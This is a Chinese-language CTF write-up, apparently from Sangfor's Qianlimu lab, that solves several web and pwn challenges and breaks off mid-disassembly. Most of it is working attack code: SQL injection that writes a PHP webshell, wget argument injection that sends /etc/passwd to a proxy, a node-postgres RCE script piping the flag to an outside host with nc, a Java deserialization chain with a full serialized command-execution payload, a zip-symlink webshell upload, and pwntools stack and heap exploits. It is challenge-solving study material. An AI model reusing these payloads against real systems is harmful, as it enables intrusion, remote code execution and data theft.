作者:深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/Iwj_zNgYZKZvJOYuhmlz3w

Web

EasySQL

訪問robots.txt,可得三個文件index.php、config.php、helpyou2findflag.php。

fuzz黑名單,可發現select、單雙引號、括號、分號、set、show、variables、等都沒有過濾。

經測試可得到閉合方式為括號,且白名單為數據庫記錄行數,使用1);{sqlinject}-- +可以閉合查詢語句并進行堆疊注入。

show variables like '%slow_query_log%'; # 查詢慢日志記錄是否開啟
setglobal slow_query_log=1; # 開啟慢查詢日志
setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 設置慢查詢日志位置
查詢慢日志記錄有關的變量。

查詢慢日志記錄有關的變量。

修改慢查詢日志的保存位置。

sleep函數再黑名單中因此不能直接使用,這里有一個考點:慢查詢日志只會記錄超過long_query_time時間的查詢語句,因此要在寫入webshell的sql語句中超過執行耗時命令,由于union和sleep都被過濾所以需要一定的繞過技巧,最簡單的方式應該是修改long_query_time的值。

1);set global long_query_time=0.000001;--+
1);show variables like 'long_query_time';--+

查詢慢查詢日志的判定時間。

查詢一個webshell,查詢記錄就會被添加到slow_query_log_file變量所指向的位置,這里fuzz黑名單可知一句話木馬中常見的關鍵詞被過濾了,繞過一下即可:1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+ 訪問helpyou2findflag.php即可訪問webshell。

接下來就是找flag了,查看用戶發現有rainbow用戶,ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd,查看家目錄發現有ssh.log,flag就在其中。

FakeWget

題目只有三個路由,一個輸入點,容易判斷考點是命令注入,因此需要先不斷測試傳入數據并刷新觀察回顯,來猜測后端與wget命令拼接邏輯和過濾邏輯,下面是三個比較典型的fuzz示例。 www.baidu.com

teststr with space www.badiu.com 這里fuzz出空格不可用

ls;\nwww.baidu.com 這里fuzz出分號不可用,同理可得反引號,|,;,&均被過濾,同時能夠測試出可利用\n繞過正則檢查,只需要構造出空格且領用wget命令即可

第一步測試出可利用\n繞過合法性檢查,且特殊符號被替換成空格,至此已經能夠構造出POC讀文件了,利用http_proxy和--body-file參數讀取本地文件發送到代理服務器上: -e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com 這里特殊符號被替換成空格,\n繞過了檢查wget的grep命令,并將/etc/passwd的文件內容發送到代理機上:

接下來就是找flag文件,第三個路由(點擊getflag)訪問后看網站源碼,可知flag文件名稱是flag_is_here

建議的思路是:/etc/passwd看到有ctf_user用戶,讀取ctf_user用戶的.bash_history得到flask程序的根目錄是/home/ctf_user/basedirforwebapp/,直接讀文件/home/ctf_user/basedirforwebapp/flag_is_here即可得到flag。

EasyWAF

訪問首頁“/”時,發現cookie為node=dGhlcmUgaXMgbm90aGluZ34h,base64解碼后結果為“there is nothing~!”。

訪問接口“/register”時,嘗試進行注入,會提示“SQL Injection Attack Found! IP record!”。 正常訪問接口“/register”時,返回結果為“IP have recorded!”,同時,發現設置了Cookie為node=bWF4X2FsbG93ZWRfcGFja2V0,base64解碼后結果“max_allowed_packet”。

訪問“/hint”時,發現cookie為node=fiBub2RlLXBvc3RncmVzIH4h,base64解碼后結果為“~ node-postgres ~!”。

進一步進行注入探測,可以知道,過濾了以下字符串: ? "select", ? "union", ? "and", ? "or", ? "\\", ? "/", ? "*", ? " " 結合以上兩點信息,可以知道此web服務使用nodejs,并且waf數據保存在mysql中,而注冊數據保存在postgresql中,同時可以利用mysql的max_allowed_packet特性繞過waf,并結合nodejs postgres包的RCE漏洞進行利用,給出如下exp.py。

from random import randint
import requests
import sys

# payload = "union"
def exp(url, cmd):
 ?  print(cmd)
 ?  payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' ' * 1024 * 1024 * 16, cmd)
 ?  username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))

 ?  data = { 'username': username + payload,'password': 'ABCDEF'}
 ?  print('ok')
 ?  r = requests.post(url, data = data)
 ?  print(r.content)

if __name__ == '__main__':
 ?  exp(sys.argv[1], sys.argv[2])

執行“python3 exp.py http://ip:端口/register "cat flag.txt|nc ip 端口"”,如下。 遠程服務器監聽9999端口,獲得flag。

Web-log

訪問網站自動下載了一個log文件。 打開查看內容,提示logname錯誤,那么可能需要提交logname。

并且抓包可以發現filename的路徑為logs/info/info.2021-08-22.log

提交參數仍然返回錯誤,但可以看到改文件名其實是一個日志文件名,那么他應該是按日分割的,代入今天的年月日。

發現成功讀取到日志文件(這里無法做目錄遍歷),根據日志內容可判斷,該web是springboot,對應的jar包名為cb-0.0.1-SNAPSHOT.jar,嘗試是否可以下載jar包。

成功下載jar包。

反編譯jar包,可以看到剛才訪問請求方法為index。 并且發現還存在一個/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser接口,對提交的user參數做base64解碼,并進行反序列化,那么該處存在一個反序列化漏洞。

分析pom.xml文件,發現有commons-beanutils:1.8.2依賴,

但ysoserial工具里的CommonsBeanutils鏈,除了依賴commons-beanutils以外,還依賴commons-collections,導致無法使用。

這里需要找到一條無依賴CC包的利用鏈,如下圖所示

public class CommonsBeanutilsNoCC {
 ? ?public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 ? ? ? ?Field field = obj.getClass().getDeclaredField(fieldName);
 ? ? ? ?field.setAccessible(true);
 ? ? ? ?field.set(obj, value);
 ?  }

 ? ?public byte[] getPayload(byte[] clazzBytes) throws Exception {
 ? ? ? ?TemplatesImpl obj = new TemplatesImpl();
 ? ? ? ?setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
 ? ? ? ?setFieldValue(obj, "_name", "HelloTemplatesImpl");
 ? ? ? ?setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

 ? ? ? ?final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
 ? ? ? ?final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
 ? ? ? ?// stub data for replacement later
 ? ? ? ?queue.add("1");
 ? ? ? ?queue.add("1");

 ? ? ? ?setFieldValue(comparator, "property", "outputProperties");
 ? ? ? ?setFieldValue(queue, "queue", new Object[]{obj, obj});

 ? ? ? ?// ==================
 ? ? ? ?// 生成序列化字符串
 ? ? ? ?ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ? ? ? ?ObjectOutputStream oos = new ObjectOutputStream(barr);
 ? ? ? ?oos.writeObject(queue);
 ? ? ? ?oos.close();

 ? ? ? ?return barr.toByteArray();
 ?  }
}

上述的clazzBytes需替換成springboot回顯class,代碼如下:

public class SpringEcho {


 ? ?public SpringEcho() throws Exception {
 ? ? ?  {
 ? ? ? ? ? ?Object httpresponse = null;
 ? ? ? ? ? ?try {
 ? ? ? ? ? ? ? ?Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]);
 ? ? ? ? ? ? ? ?Object httprequest = ?requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]);
 ? ? ? ? ? ? ? ?httpresponse = ?requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]);

 ? ? ? ? ? ? ? ?String s = (String)httprequest.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(httprequest, new Object[]{"Cmd"});
 ? ? ? ? ? ? ? ?if (s != null && !s.isEmpty()) {
 ? ? ? ? ? ? ? ? ? ?httpresponse.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(httpresponse, new Object[]{new Integer(200)});
 ? ? ? ? ? ? ? ? ? ?byte[] cmdBytes;
 ? ? ? ? ? ? ? ? ? ?if (s.equals("echo") ) {
 ? ? ? ? ? ? ? ? ? ? ? ?cmdBytes = System.getProperties().toString().getBytes();
 ? ? ? ? ? ? ? ? ?  } else {
 ? ? ? ? ? ? ? ? ? ? ? ?String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
 ? ? ? ? ? ? ? ? ? ? ? ?cmdBytes = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();
 ? ? ? ? ? ? ? ? ?  }
 ? ? ? ? ? ? ? ? ? ?Object getWriter = httpresponse.getClass().getMethod("getWriter", new Class[0]).invoke(httpresponse, new Object[0]);
 ? ? ? ? ? ? ? ? ? ?getWriter.getClass().getMethod("write", new Class[]{String.class}).
 ? ? ? ? ? ? ? ? ? ? ? ?invoke(getWriter, new Object[]{(new String(cmdBytes))});
 ? ? ? ? ? ? ? ? ? ?getWriter.getClass().getMethod("flush", new Class[0]).invoke(getWriter, new Object[0]);
 ? ? ? ? ? ? ? ? ? ?getWriter.getClass().getMethod("close", new Class[0]).invoke(getWriter, new Object[0]);

 ? ? ? ? ? ? ?  }
 ? ? ? ? ?  } catch (Exception e) {
 ? ? ? ? ? ? ? ?e.getStackTrace();
 ? ? ? ? ?  }
 ? ? ?  }
 ?  }
}

兩者結合生成序列化數據,提交到服務端,數據包如下:

POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1
Host: 192.168.111.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan
Connection: close
Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 4377

user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54

拿到回顯了。

tmp目錄下找到flag文件。

獲取到flag。

ZIPZIP

當解壓操作可以覆蓋上一次解壓文件就可以造成任意文件上傳漏洞。 查看upload.php源碼。

zip.php

構造payload: 先構造一個指向 /var/www/html的軟連接(因為html目錄下是web環境,為了后續可以getshell)。

利用命令(zip --symlinks test.zip ./*)對test文件進行壓縮:

此時 上傳該test.zip 解壓出里邊的文件也是軟連接 /var/www/html目錄下 接下來的思路 就是想辦法構造一個gethsell文件 讓gethsell文件正好解壓在/var/www/html 此時就可以getshell。 構造第二個壓縮包,我們先創建一個test目錄(因為上一個壓縮包里邊目錄就是test),在test目錄下寫一個shell文件,在壓縮創建的test目錄 此時壓縮包目錄架構是:test/cmd.php 。 當我們上傳這個壓縮包時 會覆蓋上一個test目錄 但是 test目錄軟鏈接指向/var/www/html 解壓的時候會把cmd.php 放在/var/www/html 此時我們達到了getsehll的目的 。

上傳第一個壓縮包:

在上傳第二個壓縮包文件,此時cmd.php 已經在/var/ww/html 目錄下 訪問 。

訪問cmd.php 執行命令,成功讀取到flag。

PWN

Find_Flag

分析find_flag程序,存在的漏洞位于sub_132F函數中,該函數中,存在棧溢出漏洞,如下所示:

.text:000000000000132F sub_132F        proc near               ; CODE XREF: main+71↓p
.text:000000000000132F ; __unwind {
.text:000000000000132F                 endbr64
.text:0000000000001333                 push    rbp
.text:0000000000001334                 mov     rbp, rsp
.text:0000000000001337                 sub     rsp, 60h
.text:000000000000133B                 mov     rax, fs:28h
.text:0000000000001344                 mov     [rbp-8], rax
.text:0000000000001348                 xor     eax, eax
.text:000000000000134A                 lea     rdi, aHiWhatSYourNam ; "Hi! What's your name? "
.text:0000000000001351                 mov     eax, 0
.text:0000000000001356                 call    sub_1100
.text:000000000000135B                 lea     rax, [rbp-60h]
.text:000000000000135F                 mov     rdi, rax
.text:0000000000001362                 mov     eax, 0
.text:0000000000001367                 call    sub_1110            ; gets讀入數據,未限制大小
.text:000000000000136C                 lea     rdi, aNiceToMeetYou ; "Nice to meet you, "
.text:0000000000001373                 mov     eax, 0
.text:0000000000001378                 call    sub_1100
.text:000000000000137D                 lea     rax, [rbp-60h]
.text:0000000000001381                 mov     rcx, 0FFFFFFFFFFFFFFFFh
.text:0000000000001388                 mov     rdx, rax
.text:000000000000138B                 mov     eax, 0
.text:0000000000001390                 mov     rdi, rdx
.text:0000000000001393                 repne scasb
.text:0000000000001395                 mov     rax, rcx
.text:0000000000001398                 not     rax
.text:000000000000139B                 lea     rdx, [rax-1]
.text:000000000000139F                 lea     rax, [rbp-60h]
.text:00000000000013A3                 add     rax, rdx
.text:00000000000013A6                 mov     word ptr [rax], 0A21h
.text:00000000000013AB                 mov     byte ptr [rax+2], 0
.text:00000000000013AF                 lea     rax, [rbp-60h]
.text:00000000000013B3                 mov     rdi, rax
.text:00000000000013B6                 mov     eax, 0
.text:00000000000013BB                 call    sub_1100
.text:00000000000013C0                 lea     rdi, aAnythingElse ; "Anything else? "
.text:00000000000013C7                 mov     eax, 0
.text:00000000000013CC                 call    sub_1100
.text:00000000000013D1                 lea     rax, [rbp-40h]
.text:00000000000013D5                 mov     rdi, rax
.text:00000000000013D8                 mov     eax, 0
.text:00000000000013DD                 call    sub_1110       ; gets讀入數據,未限制大小
.text:00000000000013E2                 nop
.text:00000000000013E3                 mov     rax, [rbp-8]
.text:00000000000013E7                 xor     rax, fs:28h
.text:00000000000013F0                 jz      short locret_13F7
.text:00000000000013F2                 call    sub_10D0
.text:00000000000013F7
.text:00000000000013F7 locret_13F7:                            ; CODE XREF: sub_132F+C1↑j
.text:00000000000013F7                 leave
.text:00000000000013F8                 retn
.text:00000000000013F8 ; } // starts at 132F
.text:00000000000013F8 sub_132F        endp

利用代碼如下所示:

from pwn import *
import struct

fs = "%17$lx,%19$lx"

flag = 0x0000000000001231
ret_offset = 0x146f
p = remote('127.0.0.1', 20701)
#p = process('./canary')

print((p.recvuntil('name? ')).decode())
p.sendline(fs.encode())
buf = (p.recvuntil('!\n').decode())
print(buf)
data = buf.split()[4].split('!')[0]
canary = (int((data.split(',')[0]), 16))
ret = (int((data.split(',')[1]), 16))
print(canary)
print(ret)
print(p.recvuntil('? ').decode())
payload = (("A"*56).encode())
payload += struct.pack("<Q", canary)
payload += (("A"*8).encode())
payload += struct.pack("<Q", flag + ret - ret_offset)

p.sendline(payload)
p.interactive()

WriteBook

利用代碼如下所示:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

exe = context.binary = ELF('./writebook')

if args.LIBC:
  libc_path = "./libc.so.6"
  os.environ['LD_PRELOAD'] = libc_path
else:
  libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

libc = ELF(libc_path)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        context.terminal = ['tmux','splitw','-h']
        return gdb.debug([exe.path] + argv)
    elif args.REMOTE:
        return remote("127.0.0.1", "8892")
    else:
        return process([exe.path] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

"""
size: 32
[+] Heap-Analysis - __libc_malloc(32)=0x555555757040
page #1
1. New page
2. Write paper
3. Read paper
4. Destroy the page
5. Repick
> 3

"""
HEAP_BASE = 0
LIBC_BASE = 0
def create_page(size):
  io.sendline("1")
  io.recvuntil("both sides?")
  if 240 < size:
    io.sendline("2")
  else:
    io.sendline("1")
  io.sendline(str(size))

def remove_page(nr):
  io.sendline("4")
  io.recvuntil("Page:")
  io.sendline(str(nr))

def print_page(nr):
  io.sendline("3")
  io.recvuntil("Page:")
  io.sendline(str(nr))

def load_page(nr, data):
  io.sendline("2")
  io.recvuntil("Page:")
  io.sendline(str(nr))
  io.recvuntil("Content:")
  io.send(data)

def get_heapleak(pg_nr):
  global HEAP_BASE
  print_page(pg_nr)
  io.recvuntil("Content:")
  leakstr = io.recvline()[1:-1] + b"\x00\x00"
  print(hex(u64(leakstr)))
  heap_leak = u64(leakstr)
  HEAP_BASE = heap_leak - 0xd30

  print("-" * 89)
  print("HEAPBASE: %s" % hex(HEAP_BASE))

def get_libcleak(pg_nr):
  global LIBC_BASE
  print_page(pg_nr)
  io.recvuntil("Content:")
  leakstr = io.recvline()[1:-1] + b"\x00\x00"
  print(hex(u64(leakstr)))
  libc_leak = u64(leakstr)
  LIBC_BASE = libc_leak - 0x3ec070

  print("-" * 89)
  print("LIBC_BASE: %s" %hex(LIBC_BASE))


io = start()
io.recvuntil("> ")
# shellcode = asm(shellcraft.sh())

length = 0xf0-8
biglength = 0xf0

print("[*]First Create")
create_page(0x1e0)  
#load_page(0, cyclic(0x1e0))
payload = b"A"*8
payload += p64(0x331)
load_page(0, payload)
io.sendline()

create_page(0x40) 
create_page(0x50)
create_page(0x60)
create_page(40)
create_page(0x1e0)  
create_page(0x90)

create_page(0xf0)  
create_page(0xf0)  
create_page(0xf0)  
create_page(0xf0)  
create_page(0xf0)  
create_page(0xf0)  
create_page(0xf0)  
print("[*]Remove last 7")
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)

print("[*]Create 0xf0")
create_page(0xf0)  
print("[*]Heap Leak")
get_heapleak(7)
print("[*]Remove last")
remove_page(7)

#7
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  
create_page(0x1e0)  #keep from merging with top

remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
remove_page(14)
remove_page(15)


create_page(0x1d0)  
get_libcleak(7)
remove_page(7)
print("LIBC_BASE: %s" %hex(LIBC_BASE))
print("HEAP_BASE: %s" %hex(HEAP_BASE))

payload = b"-"*(0x100-8)
payload += p64(0xf1)
load_page(5, payload)
io.sendline()


#tcache is now full for 0x1e0, overflow the next chunk header and set prev size
CHUNK_TO_COALESCE = HEAP_BASE+0x260
FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18

FREE_HOOK = LIBC_BASE+0x3ed8e8

payload = b""
payload += b"A"*32
payload += p64(0x330) #fake prev_size pointing to page 0
load_page(4, payload)

payload = b"A"*8
payload += p64(0x331)
payload += p64(FAKECHUNK_BASE)
payload += p64(FAKECHUNK_BASE+0x8)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(CHUNK_TO_COALESCE)
len(payload)
load_page(0, payload)
io.sendline()

#io.interactive()

# free the page we modified the chunk on
remove_page(5)

# we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointer
create_page(0x1d0)  
create_page(0x1d0)
create_page(0x1d0)

# then remove to get into tcache
remove_page(5)
remove_page(6)
remove_page(7)
remove_page(8)

# 0x270 offset pointer is now in tcache
# overwrite the next pointer
payload = b""
payload += p64(0)
payload += p64(0x1e1)
payload += p64(FREE_HOOK)
load_page(0, payload)
io.sendline()


create_page(0x1d0)
create_page(0x1d0)

# Write the magic gadget to __free_hook ptr
payload = p64(LIBC_BASE+0x4f432)
load_page(6, payload)
io.sendline()

# free a page
remove_page(3)

io.interactive()


"""
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
"""

CreateCode

反編譯create_code,漏洞點見如下代碼注釋處:

.text:00000000000013F0 sub_13F0        proc near               ; CODE XREF: main+AE↓p
.text:00000000000013F0 ; __unwind {
.text:00000000000013F0                 endbr64
.text:00000000000013F4                 push    rbp
.text:00000000000013F5                 mov     rbp, rsp
.text:00000000000013F8                 sub     rsp, 10h
.text:00000000000013FC                 mov     dword ptr [rbp-0Ch], 0
.text:0000000000001403                 mov     eax, cs:dword_4040
.text:0000000000001409                 cmp     eax, 2Eh ; '.'
.text:000000000000140C                 jle     short loc_142E
.text:000000000000140E                 mov     edx, 0Fh
.text:0000000000001413                 lea     rsi, aNoMoreData ; "no more data.\n"
.text:000000000000141A                 mov     edi, 1
.text:000000000000141F                 mov     eax, 0
.text:0000000000001424                 call    sub_10C0
.text:0000000000001429                 jmp     locret_153C
.text:000000000000142E ; ---------------------------------------------------------------------------
.text:000000000000142E
.text:000000000000142E loc_142E:                               ; CODE XREF: sub_13F0+1C↑j
.text:000000000000142E                 mov     eax, cs:dword_4040
.text:0000000000001434                 add     eax, 1
.text:0000000000001437                 mov     cs:dword_4040, eax
.text:000000000000143D                 mov     edi, 324h
.text:0000000000001442                 call    sub_10F0         ; 申請1000字節大小的內存
.text:0000000000001447                 mov     [rbp-8], rax
.text:000000000000144B                 mov     rax, [rbp-8]
.text:000000000000144F                 and     rax, 0FFFFFFFFFFFFF000h
.text:0000000000001455                 mov     edx, 7
.text:000000000000145A                 mov     esi, 1000h
.text:000000000000145F                 mov     rdi, rax
.text:0000000000001462                 call    sub_1100         ; 設置申請的內存屬性為RWX
.text:0000000000001467                 mov     edx, 9
.text:000000000000146C                 lea     rsi, aContent   ; "content: "
.text:0000000000001473                 mov     edi, 1
.text:0000000000001478                 mov     eax, 0
.text:000000000000147D                 call    sub_10C0
.text:0000000000001482                 mov     rax, [rbp-8]
.text:0000000000001486                 mov     edx, 3E8h
.text:000000000000148B                 mov     rsi, rax
.text:000000000000148E                 mov     edi, 0
.text:0000000000001493                 mov     eax, 0
.text:0000000000001498                 call    sub_10E0         ; 讀取數據到內存中
